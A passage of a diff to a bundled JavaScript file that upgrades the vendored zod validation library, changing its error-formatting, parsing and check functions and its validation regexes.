issue2.message) { +function formatError(error62, mapper = (issue2) => issue2.message) { const fieldErrors = { _errors: [] }; - const processError = (error52, path = []) => { - for (const issue2 of error52.issues) { + const processError = (error63, path = []) => { + for (const issue2 of error63.issues) { if (issue2.code === "invalid_union" && issue2.errors.length) { issue2.errors.map((issues) => processError({ issues }, [...path, ...issue2.path])); } else if (issue2.code === "invalid_key") { @@ -56090,27 +56387,39 @@ function formatError(error51, mapper = (issue2) => issue2.message) { while (i < fullpath.length) { const el = fullpath[i]; const terminal = i === fullpath.length - 1; - if (!terminal) { - curr[el] = curr[el] || { _errors: [] }; - } else { - curr[el] = curr[el] || { _errors: [] }; - curr[el]._errors.push(mapper(issue2)); + if (el === "_errors") { + if (terminal) + curr._errors.push(mapper(issue2)); + i++; + continue; + } + if (!Object.prototype.hasOwnProperty.call(curr, el)) { + Object.defineProperty(curr, el, { + value: { _errors: [] }, + enumerable: true, + writable: true, + configurable: true + }); } - curr = curr[el]; + const node2 = curr[el]; + if (terminal) { + node2._errors.push(mapper(issue2)); + } + curr = node2; i++; } } } } }; - processError(error51); + processError(error62); return fieldErrors; } -function treeifyError(error51, mapper = (issue2) => issue2.message) { +function treeifyError(error62, mapper = (issue2) => issue2.message) { const result = { errors: [] }; - const processError = (error52, path = []) => { - var _a3, _b; - for (const issue2 of error52.issues) { + const processError = (error63, path = []) => { + var _a3; + for (const issue2 of error63.issues) { if (issue2.code === "invalid_union" && issue2.errors.length) { issue2.errors.map((issues) => processError({ issues }, [...path, ...issue2.path])); } else if (issue2.code === "invalid_key") { @@ -56130,11 +56439,18 @@ function treeifyError(error51, mapper = (issue2) => issue2.message) { const terminal = i === fullpath.length - 1; if (typeof el === "string") { curr.properties ?? (curr.properties = {}); - (_a3 = curr.properties)[el] ?? (_a3[el] = { errors: [] }); + if (!Object.prototype.hasOwnProperty.call(curr.properties, el)) { + Object.defineProperty(curr.properties, el, { + value: { errors: [] }, + enumerable: true, + writable: true, + configurable: true + }); + } curr = curr.properties[el]; } else { curr.items ?? (curr.items = []); - (_b = curr.items)[el] ?? (_b[el] = { errors: [] }); + (_a3 = curr.items)[el] ?? (_a3[el] = { errors: [] }); curr = curr.items[el]; } if (terminal) { @@ -56145,7 +56461,7 @@ function treeifyError(error51, mapper = (issue2) => issue2.message) { } } }; - processError(error51); + processError(error62); return result; } function toDotPath(_path) { @@ -56166,9 +56482,9 @@ function toDotPath(_path) { } return segs.join(""); } -function prettifyError(error51) { +function prettifyError(error62) { const lines = []; - const issues = [...error51.issues].sort((a, b2) => (a.path ?? []).length - (b2.path ?? []).length); + const issues = [...error62.issues].sort((a, b2) => (a.path ?? []).length - (b2.path ?? []).length); for (const issue2 of issues) { lines.push(`\u2716 ${issue2.message}`); if (issue2.path?.length) @@ -56177,32 +56493,41 @@ function prettifyError(error51) { return lines.join("\n"); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/parse.js -var _parse = (_Err) => (schema, value, _ctx, _params) => { - const ctx = _ctx ? { ..._ctx, async: false } : { async: false }; - const result = schema._zod.run({ value, issues: [] }, ctx); - if (result instanceof Promise) { - throw new $ZodAsyncError(); - } - if (result.issues.length) { - const e = new (_params?.Err ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))); - captureStackTrace(e, _params?.callee); - throw e; - } - return result.value; +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/parse.js +function finalizeParams(callee, params) { + return { callee: params?.callee ?? callee, Err: params?.Err }; +} +var _parse = (_Err) => { + const fn = (schema, value, _ctx, _params) => { + const ctx = _ctx ? { ..._ctx, async: false } : { async: false }; + const result = schema._zod.run({ value, issues: [] }, ctx); + if (result instanceof Promise) { + throw new $ZodAsyncError(); + } + if (result.issues.length) { + const e = new (_params?.Err ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))); + captureStackTrace(e, _params?.callee ?? fn); + throw e; + } + return result.value; + }; + return fn; }; var parse = /* @__PURE__ */ _parse($ZodRealError); -var _parseAsync = (_Err) => async (schema, value, _ctx, params) => { - const ctx = _ctx ? { ..._ctx, async: true } : { async: true }; - let result = schema._zod.run({ value, issues: [] }, ctx); - if (result instanceof Promise) - result = await result; - if (result.issues.length) { - const e = new (params?.Err ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))); - captureStackTrace(e, params?.callee); - throw e; - } - return result.value; +var _parseAsync = (_Err) => { + const fn = async (schema, value, _ctx, params) => { + const ctx = _ctx ? { ..._ctx, async: true } : { async: true }; + let result = schema._zod.run({ value, issues: [] }, ctx); + if (result instanceof Promise) + result = await result; + if (result.issues.length) { + const e = new (params?.Err ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))); + captureStackTrace(e, params?.callee ?? fn); + throw e; + } + return result.value; + }; + return fn; }; var parseAsync = /* @__PURE__ */ _parseAsync($ZodRealError); var _safeParse = (_Err) => (schema, value, _ctx) => { @@ -56211,39 +56536,102 @@ var _safeParse = (_Err) => (schema, value, _ctx) => { if (result instanceof Promise) { throw new $ZodAsyncError(); } - return result.issues.length ? { - success: false, - error: new (_Err ?? $ZodError)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))) - } : { success: true, data: result.value }; + return result.issues.length ? failure(_Err, result.issues, ctx) : { success: true, data: result.value }; }; var safeParse = /* @__PURE__ */ _safeParse($ZodRealError); +function failure(Err, issues, ctx) { + let error62; + return { + success: false, + get error() { + if (!error62) { + error62 = new Err(issues.map((iss) => finalizeIssue(iss, ctx, config()))); + issues = void 0; + ctx = void 0; + } + return error62; + }, + set error(e) { + error62 = e; + issues = void 0; + ctx = void 0; + } + }; +} var _safeParseAsync = (_Err) => async (schema, value, _ctx) => { const ctx = _ctx ? { ..._ctx, async: true } : { async: true }; let result = schema._zod.run({ value, issues: [] }, ctx); if (result instanceof Promise) result = await result; - return result.issues.length ? { - success: false, - error: new _Err(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))) - } : { success: true, data: result.value }; + return result.issues.length ? failure(_Err, result.issues, ctx) : { success: true, data: result.value }; }; var safeParseAsync = /* @__PURE__ */ _safeParseAsync($ZodRealError); -var _encode = (_Err) => (schema, value, _ctx) => { - const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; - return _parse(_Err)(schema, value, ctx); +var COMPILE_INVALID = /* @__PURE__ */ Symbol.for("zod.compile.invalid"); +var COMPILE_FALLBACK = /* @__PURE__ */ Symbol.for("zod.compile.fallback"); +var validate = (schema, value, _ctx) => { + const validator = schema._zod.bag.validator; + if (validator !== void 0) { + if (validator(value) !== COMPILE_INVALID) + return true; + if (validator.definite === true && _ctx === void 0) + return false; + } + return validateFallback(schema, value, _ctx); +}; +function validateFallback(schema, value, _ctx) { + const ctx = _ctx ? { ..._ctx, async: false, abortEarly: true } : { async: false, abortEarly: true }; + const fallbackRun = schema._zod.bag.fallbackRun; + let result; + if (fallbackRun) { + ctx[COMPILE_FALLBACK] = true; + result = fallbackRun({ value, issues: [] }, ctx); + } else { + result = schema._zod.run({ value, issues: [] }, ctx); + } + if (result instanceof Promise) { + throw new $ZodAsyncError(); + } + return result.issues.length === 0; +} +var validateAsync = async (schema, value, _ctx) => { + const ctx = _ctx ? { ..._ctx, async: true, abortEarly: true } : { async: true, abortEarly: true }; + let result = schema._zod.run({ value, issues: [] }, ctx); + if (result instanceof Promise) + result = await result; + return result.issues.length === 0; +}; +var _encode = (_Err) => { + const parse4 = _parse(_Err); + const fn = (schema, value, _ctx, _params) => { + const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; + return parse4(schema, value, ctx, finalizeParams(fn, _params)); + }; + return fn; }; var encode2 = /* @__PURE__ */ _encode($ZodRealError); -var _decode = (_Err) => (schema, value, _ctx) => { - return _parse(_Err)(schema, value, _ctx); +var _decode = (_Err) => { + const parse4 = _parse(_Err); + const fn = (schema, value, _ctx, _params) => { + return parse4(schema, value, _ctx, finalizeParams(fn, _params)); + }; + return fn; }; var decode2 = /* @__PURE__ */ _decode($ZodRealError); -var _encodeAsync = (_Err) => async (schema, value, _ctx) => { - const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; - return _parseAsync(_Err)(schema, value, ctx); +var _encodeAsync = (_Err) => { + const parseAsync3 = _parseAsync(_Err); + const fn = async (schema, value, _ctx, _params) => { + const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; + return await parseAsync3(schema, value, ctx, finalizeParams(fn, _params)); + }; + return fn; }; var encodeAsync = /* @__PURE__ */ _encodeAsync($ZodRealError); -var _decodeAsync = (_Err) => async (schema, value, _ctx) => { - return _parseAsync(_Err)(schema, value, _ctx); +var _decodeAsync = (_Err) => { + const parseAsync3 = _parseAsync(_Err); + const fn = async (schema, value, _ctx, _params) => { + return await parseAsync3(schema, value, _ctx, finalizeParams(fn, _params)); + }; + return fn; }; var decodeAsync = /* @__PURE__ */ _decodeAsync($ZodRealError); var _safeEncode = (_Err) => (schema, value, _ctx) => { @@ -56265,9 +56653,10 @@ var _safeDecodeAsync = (_Err) => async (schema, value, _ctx) => { }; var safeDecodeAsync = /* @__PURE__ */ _safeDecodeAsync($ZodRealError); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/regexes.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/regexes.js var regexes_exports = {}; __export(regexes_exports, { + anyString: () => anyString, base64: () => base64, base64url: () => base64url, bigint: () => bigint, @@ -56275,8 +56664,10 @@ __export(regexes_exports, { browserEmail: () => browserEmail, cidrv4: () => cidrv4, cidrv6: () => cidrv6, + creditCard: () => creditCard, cuid: () => cuid, cuid2: () => cuid2, + currencyCode: () => currencyCode, date: () => date, datetime: () => datetime, domain: () => domain, @@ -56290,6 +56681,7 @@ __export(regexes_exports, { hostname: () => hostname, html5Email: () => html5Email, httpProtocol: () => httpProtocol, + iban: () => iban, idnEmail: () => idnEmail, integer: () => integer, ipv4: () => ipv4, @@ -56301,6 +56693,7 @@ __export(regexes_exports, { md5_base64url: () => md5_base64url, md5_hex: () => md5_hex, nanoid: () => nanoid, + nanoidOfLength: () => nanoidOfLength, null: () => _null, number: () => number, rfc5322Email: () => rfc5322Email, @@ -56330,10 +56723,13 @@ __export(regexes_exports, { }); var cuid = /^[cC][0-9a-z]{6,}$/; var cuid2 = /^[0-9a-z]+$/; -var ulid = /^[0-9A-HJKMNP-TV-Za-hjkmnp-tv-z]{26}$/; +var ulid = /^[0-7][0-9A-HJKMNP-TV-Za-hjkmnp-tv-z]{25}$/; var xid = /^[0-9a-vA-V]{20}$/; var ksuid = /^[A-Za-z0-9]{27}$/; var nanoid = /^[a-zA-Z0-9_-]{21}$/; +function nanoidOfLength(length) { + return new RegExp(`^[a-zA-Z0-9_-]{${length}}$`); +} var duration = /^P(?:(\d+W)|(?!.*W)(?=\d|T\d)(\d+Y)?(\d+M)?(\d+D)?(T(?=\d)(\d+H)?(\d+M)?(\d+([.,]\d+)?S)?)?)$/; var extendedDuration = /^[-+]?P(?!$)(?:(?:[-+]?\d+Y)|(?:[-+]?\d+[.,]\d+Y$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:(?:[-+]?\d+W)|(?:[-+]?\d+[.,]\d+W$))?(?:(?:[-+]?\d+D)|(?:[-+]?\d+[.,]\d+D$))?(?:T(?=[\d+-])(?:(?:[-+]?\d+H)|(?:[-+]?\d+[.,]\d+H$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:[-+]?\d+(?:[.,]\d+)?S)?)??$/; var guid = /^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12})$/; @@ -56345,13 +56741,13 @@ var uuid = (version3) => { var uuid4 = /* @__PURE__ */ uuid(4); var uuid6 = /* @__PURE__ */ uuid(6); var uuid7 = /* @__PURE__ */ uuid(7); -var email = /^(?!\.)(?!.*\.\.)([A-Za-z0-9_'+\-\.]*)[A-Za-z0-9_+-]@([A-Za-z0-9][A-Za-z0-9\-]*\.)+[A-Za-z]{2,}$/; +var email = /^(?:[A-Za-z0-9_'+\-]+\.)*[A-Za-z0-9_'+\-]*[A-Za-z0-9_+-]@(?:[A-Za-z0-9][A-Za-z0-9\-]*\.)+[A-Za-z]{2,}$/; var html5Email = /^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/; var rfc5322Email = /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/; var unicodeEmail = /^[^\s@"]{1,64}@[^\s@]{1,255}$/u; var idnEmail = unicodeEmail; var browserEmail = /^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/; -var _emoji = `^(\\p{Extended_Pictographic}|\\p{Emoji_Component})+$`; +var _emoji = `^(?=[\\s\\S]*[\\p{Extended_Pictographic}\\p{Regional_Indicator}\\u20E3])[\\p{Extended_Pictographic}\\p{Emoji_Component}]+$`; function emoji() { return new RegExp(_emoji, "u"); } @@ -56362,33 +56758,38 @@ var mac = (delimiter) => { return new RegExp(`^(?:[0-9A-F]{2}${escapedDelim}){5}[0-9A-F]{2}$|^(?:[0-9a-f]{2}${escapedDelim}){5}[0-9a-f]{2}$`); }; var cidrv4 = /^((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\/([0-9]|[1-2][0-9]|3[0-2])$/; -var cidrv6 = /^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|::|([0-9a-fA-F]{1,4})?::([0-9a-fA-F]{1,4}:?){0,6})\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/; +var cidrv6 = /^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:))\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/; var base64 = /^$|^(?:[0-9a-zA-Z+/]{4})*(?:(?:[0-9a-zA-Z+/]{2}==)|(?:[0-9a-zA-Z+/]{3}=))?$/; -var base64url = /^[A-Za-z0-9_-]*$/; +var base64url = /^(?:[A-Za-z0-9_-]{4})*(?:[A-Za-z0-9_-]{2,3})?$/; var hostname = /^(?=.{1,253}\.?$)[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[-0-9a-zA-Z]{0,61}[0-9a-zA-Z])?)*\.?$/; -var domain = /^([a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}$/; +var domain = /^(?=.{1,253}$)([a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,63}$/; var httpProtocol = /^https?$/; var e164 = /^\+[1-9]\d{6,14}$/; +var creditCard = /^\d(?:[ -]?\d){11,18}$/; +var currencyCode = /^(?:AED|AFN|ALL|AMD|AOA|ARS|AUD|AWG|AZN|BAM|BBD|BDT|BHD|BIF|BMD|BND|BOB|BOV|BRL|BSD|BTN|BWP|BYN|BZD|CAD|CDF|CHE|CHF|CHW|CLF|CLP|CNY|COP|COU|CRC|CUP|CVE|CZK|DJF|DKK|DOP|DZD|EGP|ERN|ETB|EUR|FJD|FKP|GBP|GEL|GHS|GIP|GMD|GNF|GTQ|GYD|HKD|HNL|HTG|HUF|IDR|ILS|INR|IQD|IRR|ISK|JMD|JOD|JPY|KES|KGS|KHR|KMF|KPW|KRW|KWD|KYD|KZT|LAK|LBP|LKR|LRD|LSL|LYD|MAD|MDL|MGA|MKD|MMK|MNT|MOP|MRU|MUR|MVR|MWK|MXN|MXV|MYR|MZN|NAD|NGN|NIO|NOK|NPR|NZD|OMR|PAB|PEN|PGK|PHP|PKR|PLN|PYG|QAR|RON|RSD|RUB|RWF|SAR|SBD|SCR|SDG|SEK|SGD|SHP|SLE|SOS|SRD|SSP|STN|SVC|SYP|SZL|THB|TJS|TMT|TND|TOP|TRY|TTD|TWD|TZS|UAH|UGX|USD|USN|UYI|UYU|UYW|UZS|VED|VES|VND|VUV|WST|XAD|XAF|XAG|XAU|XBA|XBB|XBC|XBD|XCD|XCG|XDR|XOF|XPD|XPF|XPT|XSU|XTS|XUA|XXX|YER|ZAR|ZMW|ZWG)$/; +var iban = /^[A-Z]{2}(?!00|01|99)\d{2}[A-Z0-9]{11,30}$/; var dateSource = `(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))`; -var date = /* @__PURE__ */ new RegExp(`^${dateSource}$`); +function anchor(source) { + return new RegExp(`^${source}$`); +} +var date = /* @__PURE__ */ anchor(dateSource); function timeSource(args) { const hhmm = `(?:[01]\\d|2[0-3]):[0-5]\\d`; - const regex = typeof args.precision === "number" ? args.precision === -1 ? `${hhmm}` : args.precision === 0 ? `${hhmm}:[0-5]\\d` : `${hhmm}:[0-5]\\d\\.\\d{${args.precision}}` : `${hhmm}(?::[0-5]\\d(?:\\.\\d+)?)?`; + const regex = typeof args.precision === "number" ? args.precision === -1 ? `${hhmm}` : args.precision === 0 ? `${hhmm}:[0-5]\\d` : `${hhmm}:[0-5]\\d\\.\\d{${args.precision}}` : args.seconds ? `${hhmm}:[0-5]\\d(?:\\.\\d+)?` : `${hhmm}(?::[0-5]\\d(?:\\.\\d+)?)?`; return regex; } function time(args) { return new RegExp(`^${timeSource(args)}$`); } function datetime(args) { - const time4 = timeSource({ precision: args.precision }); const opts = ["Z"]; - if (args.local) - opts.push(""); if (args.offset) opts.push(`([+-](?:[01]\\d|2[0-3]):[0-5]\\d)`); - const timeRegex = `${time4}(?:${opts.join("|")})`; + const qualified = `${timeSource({ precision: args.precision, seconds: true })}(?:${opts.join("|")})`; + const timeRegex = args.local ? `${qualified}|${timeSource({ precision: args.precision })}` : qualified; return new RegExp(`^${dateSource}T(?:${timeRegex})$`); } +var anyString = /^[\s\S]{0,}$/; var string = (params) => { const regex = params ? `[\\s\\S]{${params?.minimum ?? 0},${params?.maximum ?? ""}}` : `[\\s\\S]*`; return new RegExp(`^${regex}$`); @@ -56424,13 +56825,21 @@ var sha512_hex = /^[0-9a-fA-F]{128}$/; var sha512_base64 = /* @__PURE__ */ fixedBase64(86, "=="); var sha512_base64url = /* @__PURE__ */ fixedBase64url(86); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/checks.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/checks.js var $ZodCheck = /* @__PURE__ */ $constructor("$ZodCheck", (inst, def) => { var _a3; inst._zod ?? (inst._zod = {}); inst._zod.def = def; (_a3 = inst._zod).onattach ?? (_a3.onattach = []); }); +var _whenHasSize = (payload) => { + const val = payload.value; + return !nullish(val) && val.size !== void 0; +}; +var _whenHasLength = (payload) => { + const val = payload.value; + return !nullish(val) && val.length !== void 0; +}; var numericOriginMap = { number: "number", bigint: "bigint", @@ -56439,22 +56848,12 @@ var numericOriginMap = { var $ZodCheckLessThan = /* @__PURE__ */ $constructor("$ZodCheckLessThan", (inst, def) => { $ZodCheck.init(inst, def); const origin = numericOriginMap[typeof def.value]; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - const curr = (def.inclusive ? bag.maximum : bag.exclusiveMaximum) ?? Number.POSITIVE_INFINITY; - if (def.value < curr) { - if (def.inclusive) - bag.maximum = def.value; - else - bag.exclusiveMaximum = def.value; - } - }); inst._zod.check = (payload) => { if (def.inclusive ? payload.value <= def.value : payload.value < def.value) { return; } payload.issues.push({ - origin, + origin: numericOriginMap[typeof payload.value] ?? origin, code: "too_big", maximum: typeof def.value === "object" ? def.value.getTime() : def.value, input: payload.value, @@ -56467,22 +56866,12 @@ var $ZodCheckLessThan = /* @__PURE__ */ $constructor("$ZodCheckLessThan", (inst, var $ZodCheckGreaterThan = /* @__PURE__ */ $constructor("$ZodCheckGreaterThan", (inst, def) => { $ZodCheck.init(inst, def); const origin = numericOriginMap[typeof def.value]; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - const curr = (def.inclusive ? bag.minimum : bag.exclusiveMinimum) ?? Number.NEGATIVE_INFINITY; - if (def.value > curr) { - if (def.inclusive) - bag.minimum = def.value; - else - bag.exclusiveMinimum = def.value; - } - }); inst._zod.check = (payload) => { if (def.inclusive ? payload.value >= def.value : payload.value > def.value) { return; } payload.issues.push({ - origin, + origin: numericOriginMap[typeof payload.value] ?? origin, code: "too_small", minimum: typeof def.value === "object" ? def.value.getTime() : def.value, input: payload.value, @@ -56494,14 +56883,13 @@ var $ZodCheckGreaterThan = /* @__PURE__ */ $constructor("$ZodCheckGreaterThan", }); var $ZodCheckMultipleOf = /* @__PURE__ */ $constructor("$ZodCheckMultipleOf", (inst, def) => { $ZodCheck.init(inst, def); - inst._zod.onattach.push((inst2) => { - var _a3; - (_a3 = inst2._zod.bag).multipleOf ?? (_a3.multipleOf = def.value); - }); inst._zod.check = (payload) => { if (typeof payload.value !== typeof def.value) throw new Error("Cannot mix number and bigint in multiple_of check."); - const isMultiple = typeof payload.value === "bigint" ? payload.value % def.value === BigInt(0) : floatSafeRemainder(payload.value, def.value) === 0; + const isMultiple = typeof payload.value === "bigint" ? ( + // `value % 0n` throws, and nothing is a multiple of zero — the number branch already fails this way via NaN + def.value !== BigInt(0) && payload.value % def.value === BigInt(0) + ) : floatSafeRemainder(payload.value, def.value) === 0; if (isMultiple) return; payload.issues.push({ @@ -56520,32 +56908,24 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" const isInt = def.format?.includes("int"); const origin = isInt ? "int" : "number"; const [minimum, maximum] = NUMBER_FORMAT_RANGES[def.format]; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.format = def.format; - bag.minimum = minimum; - bag.maximum = maximum; - if (isInt) - bag.pattern = integer; - }); inst._zod.check = (payload) => { - const input = payload.value; + const input2 = payload.value; if (isInt) { - if (!Number.isInteger(input)) { + if (!Number.isInteger(input2)) { payload.issues.push({ expected: origin, format: def.format, code: "invalid_type", continue: false, - input, + input: input2, inst }); return; } - if (!Number.isSafeInteger(input)) { - if (input > 0) { + if (!Number.isSafeInteger(input2)) { + if (input2 > 0) { payload.issues.push({ - input, + input: input2, code: "too_big", maximum: Number.MAX_SAFE_INTEGER, note: "Integers must be within the safe integer range.", @@ -56556,7 +56936,7 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" }); } else { payload.issues.push({ - input, + input: input2, code: "too_small", minimum: Number.MIN_SAFE_INTEGER, note: "Integers must be within the safe integer range.", @@ -56569,10 +56949,10 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" return; } } - if (input < minimum) { + if (input2 < minimum) { payload.issues.push({ origin: "number", - input, + input: input2, code: "too_small", minimum, inclusive: true, @@ -56580,10 +56960,10 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" continue: !def.abort }); } - if (input > maximum) { + if (input2 > maximum) { payload.issues.push({ origin: "number", - input, + input: input2, code: "too_big", maximum, inclusive: true, @@ -56596,18 +56976,12 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" var $ZodCheckBigIntFormat = /* @__PURE__ */ $constructor("$ZodCheckBigIntFormat", (inst, def) => { $ZodCheck.init(inst, def); const [minimum, maximum] = BIGINT_FORMAT_RANGES[def.format]; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.format = def.format; - bag.minimum = minimum; - bag.maximum = maximum; - }); inst._zod.check = (payload) => { - const input = payload.value; - if (input < minimum) { + const input2 = payload.value; + if (input2 < minimum) { payload.issues.push({ origin: "bigint", - input, + input: input2, code: "too_small", minimum, inclusive: true, @@ -56615,10 +56989,10 @@ var $ZodCheckBigIntFormat = /* @__PURE__ */ $constructor("$ZodCheckBigIntFormat" continue: !def.abort }); } - if (input > maximum) { + if (input2 > maximum) { payload.issues.push({ origin: "bigint", - input, + input: input2, code: "too_big", maximum, inclusive: true, @@ -56631,26 +57005,18 @@ var $ZodCheckBigIntFormat = /* @__PURE__ */ $constructor("$ZodCheckBigIntFormat" var $ZodCheckMaxSize = /* @__PURE__ */ $constructor("$ZodCheckMaxSize", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.size !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const curr = inst2._zod.bag.maximum ?? Number.POSITIVE_INFINITY; - if (def.maximum < curr) - inst2._zod.bag.maximum = def.maximum; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasSize); inst._zod.check = (payload) => { - const input = payload.value; - const size2 = input.size; + const input2 = payload.value; + const size2 = input2.size; if (size2 <= def.maximum) return; payload.issues.push({ - origin: getSizableOrigin(input), + origin: getSizableOrigin(input2), code: "too_big", maximum: def.maximum, inclusive: true, - input, + input: input2, inst, continue: !def.abort }); @@ -56659,26 +57025,18 @@ var $ZodCheckMaxSize = /* @__PURE__ */ $constructor("$ZodCheckMaxSize", (inst, d var $ZodCheckMinSize = /* @__PURE__ */ $constructor("$ZodCheckMinSize", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.size !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const curr = inst2._zod.bag.minimum ?? Number.NEGATIVE_INFINITY; - if (def.minimum > curr) - inst2._zod.bag.minimum = def.minimum; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasSize); inst._zod.check = (payload) => { - const input = payload.value; - const size2 = input.size; + const input2 = payload.value; + const size2 = input2.size; if (size2 >= def.minimum) return; payload.issues.push({ - origin: getSizableOrigin(input), + origin: getSizableOrigin(input2), code: "too_small", minimum: def.minimum, inclusive: true, - input, + input: input2, inst, continue: !def.abort }); @@ -56687,24 +57045,15 @@ var $ZodCheckMinSize = /* @__PURE__ */ $constructor("$ZodCheckMinSize", (inst, d var $ZodCheckSizeEquals = /* @__PURE__ */ $constructor("$ZodCheckSizeEquals", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.size !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.minimum = def.size; - bag.maximum = def.size; - bag.size = def.size; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasSize); inst._zod.check = (payload) => { - const input = payload.value; - const size2 = input.size; + const input2 = payload.value; + const size2 = input2.size; if (size2 === def.size) return; const tooBig = size2 > def.size; payload.issues.push({ - origin: getSizableOrigin(input), + origin: getSizableOrigin(input2), ...tooBig ? { code: "too_big", maximum: def.size } : { code: "too_small", minimum: def.size }, inclusive: true, exact: true, @@ -56717,27 +57066,20 @@ var $ZodCheckSizeEquals = /* @__PURE__ */ $constructor("$ZodCheckSizeEquals", (i var $ZodCheckMaxLength = /* @__PURE__ */ $constructor("$ZodCheckMaxLength", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.length !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const curr = inst2._zod.bag.maximum ?? Number.POSITIVE_INFINITY; - if (def.maximum < curr) - inst2._zod.bag.maximum = def.maximum; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasLength); inst._zod.check = (payload) => { - const input = payload.value; - const length = input.length; + const input2 = payload.value; + const units = input2.length; + const length = typeof input2 === "string" && units > def.maximum ? codePointLength(input2) : units; if (length <= def.maximum) return; - const origin = getLengthableOrigin(input); + const origin = getLengthableOrigin(input2); payload.issues.push({ origin, code: "too_big", maximum: def.maximum, inclusive: true, - input, + input: input2, inst, continue: !def.abort }); @@ -56746,27 +57088,20 @@ var $ZodCheckMaxLength = /* @__PURE__ */ $constructor("$ZodCheckMaxLength", (ins var $ZodCheckMinLength = /* @__PURE__ */ 